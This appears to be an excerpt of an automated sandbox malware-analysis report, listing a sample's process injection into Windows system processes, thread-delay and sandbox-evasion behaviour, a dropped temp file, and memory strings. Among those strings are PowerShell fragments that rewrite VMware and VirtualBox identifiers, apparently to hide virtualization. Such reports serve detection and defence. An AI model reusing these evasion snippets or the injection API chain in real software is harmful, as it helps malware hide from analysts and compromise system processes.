Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,

16_2_00007FF6CD4110C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6409	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3304	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4586	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5266	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1751	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7969	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1563	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1712
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8288
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 7984
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 1986
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 3988
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9864

Source: C:\Users\user\AppData\Local\Temp\svc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp

Jump to dropped file

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_24-14130
Source: C:\Windows\System32\dwm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_26-14035
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_25-14042
Source: C:\Windows\System32\winlogon.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_23-14038

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_16-448

Source: C:\Windows\System32\lsass.exe	API coverage: 8.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7452	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 4586 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 5266 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7916	Thread sleep count: 1751 > 30	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 7916	Thread sleep time: -175100s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044	Thread sleep count: 7969 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep count: 1563 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8132	Thread sleep count: 1712 > 30
Source: C:\Windows\System32\winlogon.exe TID: 8132	Thread sleep time: -1712000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 8132	Thread sleep count: 8288 > 30
Source: C:\Windows\System32\winlogon.exe TID: 8132	Thread sleep time: -8288000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 8144	Thread sleep count: 7984 > 30
Source: C:\Windows\System32\lsass.exe TID: 8144	Thread sleep time: -7984000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 8144	Thread sleep count: 1986 > 30
Source: C:\Windows\System32\lsass.exe TID: 8144	Thread sleep time: -1986000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep count: 3988 > 30
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep time: -3988000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 8180	Thread sleep count: 9864 > 30
Source: C:\Windows\System32\dwm.exe TID: 8180	Thread sleep time: -9864000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8188	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 8188	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5216	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 5216	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6024	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 6024	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4444	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 4444	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7060	Thread sleep count: 195 > 30
Source: C:\Windows\System32\svchost.exe TID: 7060	Thread sleep time: -195000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4504	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 4504	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7108	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 7108	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7264	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7264	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7284	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 7284	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6672	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 6672	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6304	Thread sleep count: 240 > 30
Source: C:\Windows\System32\svchost.exe TID: 6304	Thread sleep time: -240000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7400	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7400	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5348	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 5348	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7540	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7540	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7548	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 7548	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7380	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7380	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7356	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 7356	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7328	Thread sleep count: 245 > 30
Source: C:\Windows\System32\svchost.exe TID: 7328	Thread sleep time: -245000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7628	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 7628	Thread sleep time: -251000s >= -30000s

Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 23_2_00000225DC64BE3C FindFirstFileExW,	23_2_00000225DC64BE3C
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_00000202C0AEBE3C FindFirstFileExW,	24_2_00000202C0AEBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000002A66130BE3C FindFirstFileExW,	25_2_000002A66130BE3C
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000002BAAEDBBE3C FindFirstFileExW,	26_2_000002BAAEDBBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000026A879CBE3C FindFirstFileExW,	27_2_0000026A879CBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_00000179537ABE3C FindFirstFileExW,	28_2_00000179537ABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002295D56BE3C FindFirstFileExW,	29_2_000002295D56BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_0000025306E6BE3C FindFirstFileExW,	30_2_0000025306E6BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000001845B3BBE3C FindFirstFileExW,	31_2_000001845B3BBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001ADECD4BE3C FindFirstFileExW,	32_2_000001ADECD4BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_000001D55907BE3C FindFirstFileExW,	34_2_000001D55907BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000241A9EABE3C FindFirstFileExW,	35_2_00000241A9EABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001CD7319BE3C FindFirstFileExW,	36_2_000001CD7319BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_000002824E89BE3C FindFirstFileExW,	37_2_000002824E89BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_0000021B47B3BE3C FindFirstFileExW,	38_2_0000021B47B3BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000002087006BE3C FindFirstFileExW,	39_2_000002087006BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001718426BE3C FindFirstFileExW,	40_2_000001718426BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_0000023FD3FABE3C FindFirstFileExW,	41_2_0000023FD3FABE3C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 00000022.00000003.1882739844.000001D5592A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 0000001F.00000002.2928078330.000001845AC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: svchost.exe, 00000022.00000003.1882739844.000001D5592A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD00
Source: svchost.exe, 00000022.00000003.1882739844.000001D5592A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: dwm.exe, 0000001A.00000000.1790714487.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000S
Source: svchost.exe, 00000022.00000003.1875075934.000001D5593A4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 00000022.00000003.1882739844.000001D5592A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svchost.exe, 00000022.00000000.1855705571.000001D559C7F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000022.00000003.1884822453.000001D559392000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: svchost.exe, 00000022.00000000.1844327938.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: powershell.exe, 00000001.00000002.1737121378.0000000007C5B000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775494607.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928082321.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2923297704.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.1783837643.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000000.1814272317.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2922428945.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.2921858138.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.1816889547.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000000.1824488143.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2928574276.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000019.00000000.1783876647.000002A66062A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000022.00000000.1840676938.000001D558693000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: lsass.exe, 00000018.00000002.2932233766.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000022.00000000.1844327938.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 00000022.00000003.1882739844.000001D5592A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: svchost.exe, 00000022.00000003.1884822453.000001D559392000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: lsass.exe, 00000018.00000002.2945755544.00000202C037F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 00000022.00000003.1882739844.000001D5592A3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000022.00000000.1844327938.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: svchost.exe, 00000022.00000002.2926489554.000001D558643000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmcitpA
Source: svchost.exe, 00000019.00000000.1783994482.000002A66065D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
